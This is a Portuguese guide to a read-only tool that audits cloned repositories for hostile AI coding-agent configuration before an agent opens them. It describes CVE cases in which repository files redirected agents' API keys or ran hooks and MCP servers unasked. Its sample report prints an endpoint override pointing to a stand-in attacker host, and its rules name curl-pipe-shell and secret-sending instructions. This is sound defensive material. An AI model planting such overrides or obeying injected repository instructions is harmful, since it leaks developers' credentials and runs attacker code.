É seguro abrir um repositório clonado com o Claude Code, o Codex CLI ou o Cursor? Como auditá-lo antes

GuiasJohn Silver12 min de leitura

Sim, você pode verificar um repositório antes de abri-lo com um agente de programação, e deve fazer isso com código que não escreveu. Clone, não inicie um agente nele ainda e execute npx -y zn-gate audit ./some-repo. O comando lê a configuração de agentes que o repositório traz (hooks, servidores MCP, alterações de endpoint, permissões, arquivos de instruções, workflows de CI) e lista o que seria executado e o que seria desviado. Não executa nada, não precisa de conta e não envia nada para lugar nenhum.

Este guia explica por que abrir um repositório pode executar código, como ler o relatório, como executar a mesma verificação em cada pull request e o que ela não cobre.

Por que abrir um repositório pode executar código por meio de um agente de programação?

Os agentes de programação leem configuração do projeto em que trabalham. Alguns desses arquivos são simples preferências. Outros executam comandos, iniciam servidores MCP, mudam para onde o agente envia as requisições à API ou dão a ele permissão para agir sem perguntar. Quem puder colocar um arquivo no repositório pode defini-los: o autor, um colaborador cuja pull request você mesclou ou uma dependência que traz seus próprios arquivos de agente.

Várias vulnerabilidades públicas de 2025 e 2026 seguiram esse padrão. As que citamos na documentação da auditoria:

Caso O que o repositório continha
Claude Code anterior à 2.0.65 (CVE-2026-21852) Um arquivo de configurações do projeto que apontava ANTHROPIC_BASE_URL para outro servidor, então as requisições, com a chave de API, saíam antes do aviso de confiança
Codex CLI 0.23.0 e anteriores (CVE-2025-61260) Um .env do projeto e um .codex/config.toml com servidores MCP, carregados sem confirmação, então os comandos deles eram executados
Cursor anterior à 3.0.0 (CVE-2026-48124) Hooks em .claude/settings.local.json que eram executados sem aprovação
Amazon Q Developer (CVE-2026-12957) .amazonq/mcp.json, cujos servidores iniciavam ao abrir o projeto e confiar nele, com as credenciais AWS do desenvolvedor no ambiente

Atualizar o agente corrige cada um desses bugs. Os arquivos, porém, continuam no repositório, e o agente seguinte, um colega com uma versão mais antiga ou um job de CI ainda pode agir sobre eles. Uma verificação dos próprios arquivos não depende da versão do agente que você usa.

O que você precisa antes de começar?

Node.js 18 ou posterior. Verifique em um terminal:

node --version

Se o comando não for encontrado, ou mostrar uma versão inferior a 18, instale a versão LTS em nodejs.org e abra um terminal novo. A auditoria faz parte do zn-gate 1.6.0 e posteriores; npx -y zn-gate baixa a versão atual do npm na primeira vez.

No Windows, o PowerShell às vezes recusa com "running scripts is disabled on this system". Use npx.cmd em vez de npx, ou execute os comandos pelo Prompt de Comando.

Como auditar um repositório antes de abri-lo?

Clone o repositório e audite a pasta, sem abri-la em um agente:

  1. Clone o repositório. Troque <repository-url> pela URL do repositório que você quer verificar:

    git clone <repository-url> some-repo
  2. Audite a pasta:

    npx -y zn-gate audit ./some-repo
  3. Leia o relatório abaixo. Se ele listar detecções críticas ou altas, não abra o repositório com um agente até entender cada uma.

zn-gate audit e zn audit são o mesmo comando. Sem caminho, audita a pasta atual. A auditoria não segue nada fora do repositório: um link simbólico que sai dele é informado, não é lido, e .git nunca é lido.

Um relatório com um problema tem esta aparência:

zn audit  ./some-repo  (zn-gate 1.12.0)

CRITICAL  ZNA007  .claude/settings.json:4  [claude]
          Model API endpoint overridden by the project
          ANTHROPIC_BASE_URL points to https://attacker.example.invalid; the agent sends its API key and prompts there.
          evidence: "ANTHROPIC_BASE_URL": "https://attacker.example.invalid"
          fix: Remove the override from the project; set it in your user settings if you use a gateway.
          refs: CVE-2026-21852, CVE-2025-61260

1 finding (1 critical, 0 high, 0 medium, 0 low) in 1 file. Failing: severity >= high.

Cada detecção indica uma gravidade, um id de regra estável (ZNA007), o arquivo e a linha, o agente que lê esse arquivo, o texto correspondente, uma correção sugerida e, quando existe, a vulnerabilidade pública por trás da regra. Os caracteres de controle e as sequências de escape vindos do repositório são impressos como texto, então um nome de arquivo não pode alterar seu terminal. Um segredo em um formato que o zn-gate reconhece é substituído por um marcador na evidência, então o valor não é impresso. Uma senha escrita em texto corrido não tem formato conhecido e não é ocultada.

O código de saída diz a um script o que aconteceu: 0 significa nenhuma detecção no limite ou acima, 1 pelo menos uma e 2 um erro de uso ou de execução, como um caminho que não existe. O limite padrão é high; altere-o com --fail-on low|medium|high|critical|none.

O que a auditoria procura?

As regras vão de ZNA001 a ZNA020, e um id nunca muda de significado. Elas se agrupam assim:

Grupo Regras O que informa
Comandos que rodam sozinhos ZNA001, ZNA002 Hooks, comandos da barra de status, arquivos de plugin e tarefas do VS Code que rodam automaticamente, e os que baixam código e o executam (curl ... | sh)
Servidores MCP ZNA003 a ZNA006 Servidores MCP do projeto que iniciam um comando local, configurações que aprovam servidores de antemão, pacotes sem versão fixada (npx -y pkg, @latest) e servidores remotos, com mais peso para http sem criptografia
Para onde vão sua chave e seu tráfego ZNA007 a ZNA009 Um endpoint da API do modelo ou um proxy definido pelo projeto, variáveis de ambiente que carregam código ou certificados (NODE_OPTIONS, LD_PRELOAD) e comandos auxiliares de credenciais
O que o agente pode fazer sem perguntar ZNA010 Bash(*), bypassPermissions, políticas de aprovação que nunca perguntam
Segredos na configuração ZNA011 Um valor secreto escrito em um arquivo de configuração ou de instruções de um agente
Instruções que orientam o agente ZNA012 a ZNA015 Padrões de injeção de prompt em AGENTS.md, CLAUDE.md, regras, skills e comandos, e instruções para baixar e executar código, enviar arquivos ou segredos para fora ou pular as verificações de segurança
Executáveis que imitam outros ZNA016 Um git.exe, node.exe ou npm.cmd colocado na raiz do repositório
Plugins e extensões ZNA017, ZNA018 Marketplaces e plugins que o projeto ativa, e um inventário dos comandos, subagentes e skills que ele traz
CI ZNA019 Um workflow que executa um agente de IA sobre texto que qualquer pessoa pode escrever, como issues e comentários
Arquivos que não foi possível ler ZNA020 Um erro de sintaxe, um arquivo com mais de 1 MB, um link que sai do repositório ou uma análise que parou antes do fim

A tabela completa, com o significado de cada regra e o motivo de ela importar, está na documentação da auditoria.

Como agir diante de uma detecção?

Leia a evidência antes de decidir. A gravidade é um ponto de partida, não um veredito.

  • Crítica ou alta, em um repositório em que você não confia: não inicie um agente nele. Uma alteração de endpoint, um hook que baixa e executa código ou uma instrução para enviar o .env para algum lugar não têm boa razão para estar ali.
  • Média, como um servidor MCP sem versão fixada: o arquivo pode estar bem, mas o código que roda muda sempre que o pacote é republicado. Fixe uma versão (npx -y some-mcp-server@1.2.3) antes de depender dele.
  • Uma detecção na documentação: as regras de instruções procuram padrões linha a linha, então um guia de instalação que cita curl ... | sh também é informado. Decida se é um exemplo ou uma instrução para o agente.
  • ZNA020, um arquivo que não foi possível verificar: o agente ainda pode agir sobre ele. Abra o arquivo você mesmo.

A auditoria não remove nada. Para aplicar uma correção, edite o arquivo ou apague-o e execute a auditoria de novo.

Como verificar só alguns agentes, ou sua própria configuração?

Limite a verificação aos agentes que você usa:

npx -y zn-gate audit ./some-repo --agents claude,codex --fail-on critical

As detecções que dizem respeito a todos os agentes (AGENTS.md, executáveis plantados, workflows de CI) são sempre mostradas. Os nomes dos agentes são claude, codex, cursor, opencode, amazonq, copilot, gemini e all.

Para incluir sua própria configuração de usuário, como ~/.claude/settings.json e ~/.codex/config.toml, adicione --include-home:

npx -y zn-gate audit . --include-home

Os comandos que você mesmo configurou são esperados ali, então só os casos mais arriscados são informados: código baixado e executado, pacotes sem versão fixada, alterações de endpoint, segredos e permissões amplas.

A partir do zn-gate 1.12.0, npx -y zn-gate reach mostra o mesmo tipo de detecções juntamente com os segredos dos .env e os arquivos de credenciais a que um agente na sua máquina pode chegar, em uma única tela. Ele também é somente leitura.

Como executar a auditoria em cada pull request?

Execute-a em CI para que um hook ou servidor MCP novo em uma pull request seja informado antes de alguém abrir o branch com um agente. Qualquer sistema de CI pode executar o comando e gravar o resultado como SARIF, que o code scanning do GitHub e outras ferramentas leem:

npx -y zn-gate@1.12.0 audit --format sarif --output zn-audit.sarif --fail-on none

Com o GitHub Actions, use a action do zn-gate em modo audit e envie as detecções para o code scanning:

name: AI agent config audit
on: pull_request

permissions:
  contents: read

jobs:
  zn-gate-audit:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - uses: usezn/zn@v1.12.0   # or pin the full commit SHA of v1.12.0
        id: zn
        with:
          version: '1.12.0'
          mode: 'audit'
          format: 'sarif'
          severity-threshold: 'medium'
      - uses: github/codeql-action/upload-sarif@v4
        if: ${{ !cancelled() && steps.zn.outputs.sarif-file != '' }}
        with:
          sarif_file: ${{ steps.zn.outputs.sarif-file }}

severity-threshold é a gravidade mínima da auditoria que faz o passo falhar quando fail-on-threat é true (o padrão); o limite padrão é high. Adicione actions: read ao job em repositórios privados. Deixe --include-home fora da CI: as detecções da sua pasta pessoal não se aplicam ao runner e o GitHub as ignora. As entradas, as saídas e o modo both, que também executa a análise de prompts e segredos, estão na página do GitHub Actions.

O que a auditoria não cobre?

  • Ela lê arquivos. Não os executa, não inicia servidores nem resolve pacotes. Um pacote com a versão fixada ainda pode ser malicioso, e um hook que chama um script local é informado como hook, sem ser avaliado pelo que o script faz.
  • As regras de instruções procuram padrões, linha a linha. Um autor determinado pode redigir uma instrução que nenhum padrão pegue.
  • A regra de CI lê o YAML do workflow linha a linha, sem um parser de YAML. Ela conhece as actions de agentes mais comuns e as chaves de gatilho e de permissões, não os workflows reutilizáveis nem as composite actions.
  • A configuração do Git (.git/config, filtros do .gitattributes) e as extensões do editor não são verificadas.
  • Os agentes mudam com frequência os formatos de configuração. As chaves que a auditoria não conhece são ignoradas, não informadas.
  • Um segredo sem formato conhecido, sob um nome que não parece sensível, não é encontrado.

Um relatório limpo significa que os padrões não estavam lá. Não significa que o repositório seja seguro, então mantenha seu agente atualizado e o cuidado de sempre com código que você não escreveu.

O que sai da sua máquina?

Nada, exceto na primeira execução de npx -y zn-gate, que baixa o pacote do npm. A auditoria em si roda localmente, lê arquivos e imprime um relatório. Não abre nenhuma conexão de rede e não precisa de conta nem de chave de API. Com --output ela grava o relatório no arquivo que você indicar. O resto do zn-gate tem sua própria página, o que sai da sua máquina.

Perguntas frequentes

É seguro abrir um repositório clonado com o Claude Code, o Codex CLI ou o Cursor?

Nem sempre. Um repositório pode conter arquivos de configuração de agentes (hooks, servidores MCP, alterações de endpoint, permissões amplas) que executam comandos ou mudam para onde sua chave de API é enviada, e algumas versões dos agentes agiam sobre eles antes de perguntar a você. Execute npx -y zn-gate audit no clone antes de iniciar um agente nele. A auditoria só lê arquivos; não executa nada.

O zn audit executa o código do repositório ou inicia os servidores MCP dele?

Não. Ele lê os arquivos de configuração e de instruções e informa o que seria executado, para onde iriam as requisições e que instruções um agente seguiria. Não executa hooks, não inicia servidores, não resolve pacotes nem abre conexões de rede.

Que agentes e arquivos o zn audit cobre?

Claude Code, Codex CLI, Cursor, OpenCode, Amazon Q, Copilot e VS Code, e Gemini CLI, além de arquivos que dizem respeito a todos os agentes: AGENTS.md, executáveis na raiz e workflows de CI. A lista de arquivos de cada agente está na documentação da auditoria. Use --agents para limitar a verificação a alguns deles.

Como executo a auditoria em cada pull request?

Use a GitHub Action do zn-gate com mode definido como audit (ou both) e format como sarif, e envie o arquivo para o code scanning do GitHub. Você também pode executar npx -y zn-gate audit --format sarif --output zn-audit.sarif --fail-on none em qualquer sistema de CI.

O que o zn audit não detecta?

Ele lê arquivos e procura padrões. Um pacote com a versão fixada ainda pode ser malicioso, um hook que chama um script local é informado como hook e não é avaliado pelo que o script faz, e um autor determinado pode redigir uma instrução que nenhum padrão pegue. A configuração do Git e as extensões do editor não são verificadas. Trate um relatório limpo como uma camada, não como uma prova.


Para verificar o próximo repositório que você clonar, execute npx -y zn-gate audit ./some-repo (MIT, local, sem conta). Para manter também seus próprios arquivos .env fora do alcance do agente, veja como impedir com um único comando que o Claude Code, o Codex CLI, o Cursor e o OpenCode leiam seu .env. O código está no GitHub, e os guias de cada agente começam em Instalação.

Compartilhar